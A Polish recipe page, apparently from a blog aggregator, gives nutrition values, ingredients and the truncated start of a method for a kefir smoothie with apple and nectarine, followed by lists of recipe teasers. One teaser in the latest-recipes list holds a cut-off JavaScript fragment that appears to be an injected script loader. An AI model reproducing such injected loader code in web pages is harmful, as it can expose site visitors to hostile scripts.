Koktajl z diety na kefirze z jabłkiem i nektarynką
Źródło: https://wojtigotuje.blogspot.com/2020/08/koktajl-z-diety-na-kefirze-z-jabkiem-i.html
Autor: wojti gotuje
Koktajl na kefirze z jabłkiem i nektarynkąWartości odżywcze:Energia: 446 kcalWęglowodany: 60 gTłuszcz: 13 gBiałko: 20 gSkładniki:Kefir 2% - 1,75 szklanki (425 g) Nektarynka - 2 średnie sztuki (210 g) Jabłko - 1 średnia sztuka (180 g) Siemię lniane - 1 łyżka (10 g) Sposób przygotowania:1. Jabłko umyj, obierz, oczyść z gniazd nasiennych i pokrój na małe kawałki.2....
Najnowsze przepisy
Babeczki o pięknym szmaragdowym kolorze, aromatyczne i... ⇖ 5
Przepis na proste i szybkie muffiny z ricottą i nasionami... ⇖ 8
100 g ugotowanej kaszy gryczanej białej1 mała cebula50 g... ⇖ 14
Szczypiorek ma w sobie coś z kuchennego „przycisku do... ⇖ 15
Dziś zapraszam na mazurka Wielkanocnego, bardzo prosty,... ⇖ 36
Mazurek piaskowy to tradycyjny wypiek wielkanocny, który... ⇖ 26
(function(){ urkn=document.createElement("script");urkn.type ⇖ 24
Są takie przepisy, które od pierwszego kęsa przenoszą... ⇖ 36
Przepisy z bloga
Sałatka wielkanocna fit – czy można zrobić lżejszą... ⇖ 64
Fit przekąski do pracy – 5 pomysłów do 200 kcal Wiele... ⇖ 51
Lekka kolacja do 400 kcal – prosty sposób na zdrowe... ⇖ 62
Fit owsianka z jogurtem i owocami – szybkie śniadanie do... ⇖ 62
Przepisy na czasie
Bardzo pyszne kremowe ciasto, z dwoma masami, brzoskwiniami... ⇖ 1656
Kruche ciasto z budyniem i brzoskwiniami z puszkiKruche... ⇖ 1221
Kostka malinowo-ajerkoniakowa to jedno z tych ciast, które... ⇖ 1122
To proste i szybkie ciasto ucierane na oleju, które zawsze... ⇖ 1098
Taki sernik to u mnie w domu klasyka świąt wielkanocnych.... ⇖ 1087
Jajka z zieloną pastą to smaczna i prosta w przygotowaniu... ⇖ 970
Jajka w sosie tatarskim to pyszna przystawka, którą... ⇖ 956